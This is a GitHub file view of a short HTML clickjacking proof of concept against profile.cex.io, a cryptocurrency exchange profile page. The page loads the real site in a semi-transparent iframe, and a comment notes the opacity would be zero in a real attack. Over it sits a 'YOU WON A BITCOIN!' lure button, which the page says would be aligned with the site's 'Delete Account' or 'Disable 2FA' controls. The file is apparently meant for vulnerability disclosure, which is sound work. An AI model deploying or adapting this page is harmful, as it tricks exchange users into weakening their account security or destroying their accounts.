-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclickjack_poc.html
More file actions
39 lines (39 loc) · 1.16 KB
/
Copy pathclickjack_poc.html
File metadata and controls
39 lines (39 loc) · 1.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking PoC - profile.cex.io</title>
<style>
.target-site {
position: absolute;
width: 100%;
height: 100%;
top: 0;
left: 0;
opacity: 0.5; /* В реальной атаке будет 0.0 */
z-index: 1;
}
.attacker-content {
position: relative;
z-index: 2;
pointer-events: none; /* Пропускает клики сквозь себя на iframe */
color: red;
font-family: Arial;
text-align: center;
padding-top: 200px;
}
button {
padding: 20px 40px;
font-size: 20px;
pointer-events: auto;
}
</style>
</head>
<body>
<div class="attacker-content">
<h1>YOU WON A BITCOIN!</h1>
<button>CLICK HERE TO CLAIM</button>
<p>(In a real attack, the button below would be perfectly aligned with a "Delete Account" or "Disable 2FA" button on the site below)</p>
</div>
<iframe src="https://profile.cex.io" class="target-site"></iframe>
</body>
</html>